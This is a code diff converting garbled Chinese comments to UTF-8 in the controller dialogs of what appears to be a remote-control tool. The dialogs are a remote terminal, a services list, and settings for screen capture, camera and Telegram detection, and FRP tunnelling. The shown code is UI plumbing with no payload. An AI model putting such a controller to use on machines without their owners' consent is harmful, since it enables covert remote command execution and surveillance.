void CServicesDlg::OnServicesReflash()
{
BYTE bToken = COMMAND_SERVICELIST; //ˢ<EFBFBD><EFBFBD>
BYTE bToken = COMMAND_SERVICELIST; //刷新
m_ContextObject->Send2Client(&bToken, 1);
}
// <EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 释放资源以后再清空
void CServicesDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
@@ -177,7 +177,7 @@ int CALLBACK CServicesDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARA
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ֵ
// 获取列值
ItemData1* context1 = (ItemData1*)lParam1;
ItemData1* context2 = (ItemData1*)lParam2;
CString s1 = context1->GetData(nColumn);
@@ -192,15 +192,15 @@ void CServicesDlg::SortByColumn(int nColumn)
static int m_nSortColumn = 0;
static bool m_bSortAscending = false;
if (nColumn == m_nSortColumn) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<EFBFBD>У<EFBFBD><EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>
// 如果点击的是同一列,切换排序顺序
m_bSortAscending = !m_bSortAscending;
} else {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 否则,切换到新列并设置为升序
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// 创建排序信息
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
@@ -208,8 +208,8 @@ void CServicesDlg::SortByColumn(int nColumn)
void CServicesDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
int nColumn = pNMHeader->iItem; // <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SortByColumn(nColumn); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nColumn = pNMHeader->iItem; // 获取点击的列索引
SortByColumn(nColumn); // 调用排序函数
*pResult = 0;
}
@@ -234,7 +234,7 @@ void CServicesDlg::OnReceiveComplete(void)
ShowServicesList();
break;
default:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 传输发生异常数据
break;
}
}
@@ -262,13 +262,13 @@ void CServicesDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return; // ȷ<EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD>
if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>úʹ<EFBFBD>С
// 计算新位置和大小
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<EFBFBD><EFBFBD><EFBFBD>С
// 重新设置控件大小
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}

View File

@@ -1,26 +1,26 @@
#pragma once
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
#include "afxwin.h"
// CServicesDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CServicesDlg 对话框
class CServicesDlg : public DialogBase
{
DECLARE_DYNAMIC(CServicesDlg)
public:
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CServicesDlg();
int ShowServicesList(void);
void OnReceiveComplete(void);
void ServicesConfig(BYTE bCmd);
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_SERVICES };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
// SettingDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// SettingDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -8,7 +8,7 @@
#include "client/CursorInfo.h"
#include "common/location.h"
// CSettingDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CSettingDlg 对话框
IMPLEMENT_DYNAMIC(CSettingDlg, CDialog)
@@ -17,9 +17,9 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
, m_nListenPort("6543")
, m_nMax_Connect(0)
, m_sScreenCapture(_T("GDI"))
, m_sScreenCompress(_T("<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"))
, m_sScreenCompress(_T("屏幕差异算法"))
, m_nReportInterval(5)
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
, m_sSoftwareDetect(_T("摄像头"))
, m_sPublicIP(_T(""))
, m_sUdpOption(_T(""))
, m_nFrpPort(7000)
@@ -75,7 +75,7 @@ BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
END_MESSAGE_MAP()
// CSettingDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CSettingDlg 消息处理程序
BOOL CSettingDlg::OnInitDialog()
@@ -96,40 +96,40 @@ BOOL CSettingDlg::OnInitDialog()
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
switch (n) {
case ALGORITHM_GRAY:
m_sScreenCompress = "<EFBFBD>Ҷ<EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
m_sScreenCompress = "灰度图像传输";
break;
case ALGORITHM_DIFF:
m_sScreenCompress = "<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
m_sScreenCompress = "屏幕差异算法";
break;
case ALGORITHM_H264:
m_sScreenCompress = "H264ѹ<EFBFBD><EFBFBD><EFBFBD>";
m_sScreenCompress = "H264压缩算法";
break;
default:
break;
}
m_ComboScreenCompress.InsertString(ALGORITHM_GRAY, "<EFBFBD>Ҷ<EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ComboScreenCompress.InsertString(ALGORITHM_DIFF, "<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ComboScreenCompress.InsertString(ALGORITHM_H264, "H264ѹ<EFBFBD><EFBFBD><EFBFBD>");
m_ComboScreenCompress.InsertString(ALGORITHM_GRAY, "灰度图像传输");
m_ComboScreenCompress.InsertString(ALGORITHM_DIFF, "屏幕差异算法");
m_ComboScreenCompress.InsertString(ALGORITHM_H264, "H264压缩算法");
m_ComboScreenCapture.InsertString(0, "GDI");
m_ComboScreenCapture.InsertString(1, "DXGI");
m_ComboScreenCapture.InsertString(2, "VIRTUAL");
m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI");
m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ");
m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "<EFBFBD>");
m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "摄像头");
m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "电报");
auto str = THIS_CFG.GetStr("settings", "ReportInterval", "5");
m_nReportInterval = atoi(str.c_str());
n = THIS_CFG.GetInt("settings", "SoftwareDetect");
switch (n) {
case SOFTWARE_CAMERA:
m_sSoftwareDetect = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ";
m_sSoftwareDetect = "摄像头";
break;
case SOFTWARE_TELEGRAM:
m_sSoftwareDetect = "<EFBFBD>";
m_sSoftwareDetect = "电报";
break;
default:
m_sSoftwareDetect = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ";
m_sSoftwareDetect = "摄像头";
break;
}
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
@@ -149,7 +149,7 @@ BOOL CSettingDlg::OnInitDialog()
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
m_ComboVideoWall.InsertString(0, "<EFBFBD><EFBFBD>");
m_ComboVideoWall.InsertString(0, "");
m_ComboVideoWall.InsertString(1, "2 x 2");
m_ComboVideoWall.InsertString(2, "3 x 3");
m_ComboVideoWall.InsertString(3, "4 x 4");
@@ -197,26 +197,26 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
void CSettingDlg::OnEnChangeEditPort()
{
// TODO: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<EFBFBD><EFBFBD><EFBFBD> RICHEDIT <20>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д CDialog::OnInitDialog()
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CRichEditCtrl().SetEventMask()<EFBFBD><EFBFBD>
// ͬʱ<EFBFBD><EFBFBD> ENM_CHANGE <EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>
// TODO: 如果该控件是 RICHEDIT 控件,它将不
// 发送此通知,除非重写 CDialog::OnInitDialog()
// 函数并调用 CRichEditCtrl().SetEventMask()
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
// <EFBFBD><EFBFBD>Button<EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD>
// Button添加变量
m_ApplyButton.ShowWindow(SW_NORMAL);
m_ApplyButton.EnableWindow(TRUE);
}
void CSettingDlg::OnEnChangeEditMax()
{
// TODO: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<EFBFBD><EFBFBD><EFBFBD> RICHEDIT <20>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д CDialog::OnInitDialog()
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CRichEditCtrl().SetEventMask()<EFBFBD><EFBFBD>
// ͬʱ<EFBFBD><EFBFBD> ENM_CHANGE <EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>
// TODO: 如果该控件是 RICHEDIT 控件,它将不
// 发送此通知,除非重写 CDialog::OnInitDialog()
// 函数并调用 CRichEditCtrl().SetEventMask()
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
HWND hApplyButton = ::GetDlgItem(m_hWnd,IDC_BUTTON_SETTINGAPPLY);
::ShowWindow(hApplyButton,SW_NORMAL);

View File

@@ -1,22 +1,22 @@
#pragma once
#pragma once
#include "afxwin.h"
// CSettingDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CSettingDlg 对话框
class CSettingDlg : public CDialog
{
DECLARE_DYNAMIC(CSettingDlg)
public:
CSettingDlg(CWnd* pParent = NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CSettingDlg(CWnd* pParent = NULL); // 标准构造函数
virtual ~CSettingDlg();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_SET };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
// ShellDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// ShellDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -14,15 +14,15 @@ END_MESSAGE_MAP()
void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags)
{
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>ĩβ
// 将光标移动到文本末尾
int nLength = GetWindowTextLength();
SetSel(nLength, nLength);
// <EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
// 调用父类处理输入字符
CEdit::OnChar(nChar, nRepCnt, nFlags);
}
// CShellDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CShellDlg 对话框
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
@@ -49,7 +49,7 @@ BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
END_MESSAGE_MAP()
// CShellDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CShellDlg 消息处理程序
BOOL CShellDlg::OnInitDialog()
@@ -61,7 +61,7 @@ BOOL CShellDlg::OnInitDialog()
SetIcon(m_hIcon,FALSE);
CString str;
str.Format("%s - Զ<EFBFBD><EFBFBD><EFBFBD>ն<EFBFBD>", m_IPAddress);
str.Format("%s - 远程终端", m_IPAddress);
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
@@ -75,7 +75,7 @@ BOOL CShellDlg::OnInitDialog()
m_Edit.SetLimitText(EDIT_MAXLENGTH);
return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE
// 异常: OCX 属性页应返回 FALSE
}
@@ -99,51 +99,51 @@ std::string removeAnsiCodes(const std::string& input)
VOID CShellDlg::AddKeyBoardData(void)
{
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
// 最后填上0
//Shit\0
m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //<EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>\0
m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
bool firstRecv = tmp.c_str() == std::string(">");
CString strResult = firstRecv ? "" : CString("\r\n") + removeAnsiCodes(tmp.c_str()).c_str(); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> \0
CString strResult = firstRecv ? "" : CString("\r\n") + removeAnsiCodes(tmp.c_str()).c_str(); //获得所有的数据 包括 \0
//<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD>з<EFBFBD> <20><><EFBFBD><EFBFBD>cmd <20>Ļ<EFBFBD><C4BB><EFBFBD>ͬw32<33>µı<C4B1>ؼ<EFBFBD><D8BC>Ļ<EFBFBD><C4BB>з<EFBFBD><D0B7><EFBFBD>һ<EFBFBD><D2BB> <20><><EFBFBD>еĻس<C4BB><D8B3><EFBFBD><EFBFBD><EFBFBD>
//替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行
strResult.Replace("\n", "\r\n");
if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH) {
CString text;
m_Edit.GetWindowTextA(text);
auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // <EFBFBD><EFBFBD>5<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>clear<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // 留5个字符输入clear清屏
if (n < 0) {
strResult = strResult.Right(strResult.GetLength() + n);
}
m_Edit.SetWindowTextA(text.Right(max(n, 0)));
}
//<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//得到当前窗口的字符个数
int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir
//1.txt
//2.txt
//dir\r\n
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>궨λ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ò<EFBFBD>ѡ<EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD> Ҳ<><D2B2><EFBFBD><EFBFBD>ĩβ <20><>Ϊ<EFBFBD>ӱ<EFBFBD><D3B1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Ҫ<><D2AA>ʾ<EFBFBD><CABE> <20><><EFBFBD>ǵ<EFBFBD> <20><>ǰ<EFBFBD><C7B0><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD>
//将光标定位到该位置并选中指定个数的字符 也就是末尾 因为从被控端来的数据 要显示在 我们的 先前内容的后面
m_Edit.SetSel(iLength, iLength);
//<EFBFBD>ô<EFBFBD><EFBFBD>ݹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>õ<EFBFBD><EFBFBD>ַ<EFBFBD> //<EFBFBD><EFBFBD>ʾ
//用传递过来的数据替换掉该位置的字符 //显示
m_Edit.ReplaceSel(strResult);
//<EFBFBD><EFBFBD><EFBFBD>µõ<EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD>Ĵ<EFBFBD>С
//重新得到字符的大小
m_nCurSel = m_Edit.GetWindowTextLength();
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>ն<EFBFBD>ʱ <20><><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>س<EFBFBD>
//Ҫ<EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD>Ҫ<EFBFBD><EFBFBD>PreTranslateMessage<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><EFBFBD><EFBFBD>
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
}
void CShellDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -172,27 +172,27 @@ CString ExtractAfterLastNewline(const CString& str)
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>VK_ESCAPE<EFBFBD><EFBFBD>VK_DELETE
// 屏蔽VK_ESCAPEVK_DELETE
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
return true;
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǿɱ༭<EFBFBD><EFBFBD><EFBFBD>Ļس<EFBFBD><EFBFBD><EFBFBD>
//如果是可编辑框的回车键
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) {
//<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
//得到窗口的数据大小
int iLength = m_Edit.GetWindowTextLength();
CString str;
//<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//得到窗口的字符数据
m_Edit.GetWindowText(str);
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD>
//加入换行符
str += "\r\n";
//<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׵<EFBFBD>ַ<EFBFBD>ټ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD>е<EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
//得到整个的缓冲区的首地址再加上原有的字符的位置,其实就是用户当前输入的数据了
//然后将数据发送出去
LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel;
#ifdef _DEBUG
TRACE("[Shell]=> %s", (char*)pSrc);
#endif
if (0 == strcmp((char*)pSrc, "exit\r\n")) { // <EFBFBD>˳<EFBFBD><EFBFBD>ն<EFBFBD>
if (0 == strcmp((char*)pSrc, "exit\r\n")) { // 退出终端
return PostMessage(WM_CLOSE);
} else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ն<EFBFBD>
} else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // 清理终端
str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7));
m_Edit.SetWindowTextA(str);
m_nCurSel = m_Edit.GetWindowTextLength();
@@ -204,12 +204,12 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
m_ContextObject->Send2Client(pSrc, length);
m_nCurSel = m_Edit.GetWindowTextLength();
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>VK_BACK
// 限制VK_BACK
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) {
if (m_Edit.GetWindowTextLength() <= m_nReceiveLength)
return true;
}
// ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 示例:
//dir\r\n 5
}
@@ -223,10 +223,10 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT)) {
COLORREF clr = RGB(255, 255, 255);
pDC->SetTextColor(clr); //<EFBFBD><EFBFBD><EFBFBD>ð<EFBFBD>ɫ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
pDC->SetTextColor(clr); //设置白色的文本
clr = RGB(0,0,0);
pDC->SetBkColor(clr); //<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><EFBFBD><EFBFBD>
return CreateSolidBrush(clr); //<EFBFBD><EFBFBD>ΪԼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><EFBFBD>Ӧ<EFBFBD><EFBFBD>ˢ<EFBFBD>Ӿ<EFBFBD><EFBFBD><EFBFBD>
pDC->SetBkColor(clr); //设置黑色的背景
return CreateSolidBrush(clr); //作为约定,返回背景色对应的刷子句柄
} else {
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
}
@@ -238,13 +238,13 @@ void CShellDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (!m_Edit.GetSafeHwnd()) return; // ȷ<EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD>
if (!m_Edit.GetSafeHwnd()) return; // 确保控件已创建
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>úʹ<EFBFBD>С
// 计算新位置和大小
CRect rc;
m_Edit.GetWindowRect(&rc);
ScreenToClient(&rc);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<EFBFBD><EFBFBD><EFBFBD>С
// 重新设置控件大小
m_Edit.MoveWindow(0, 0, cx, cy, TRUE);
}

View File

@@ -1,8 +1,8 @@
#pragma once
#pragma once
#include "IOCPServer.h"
#include "afxwin.h"
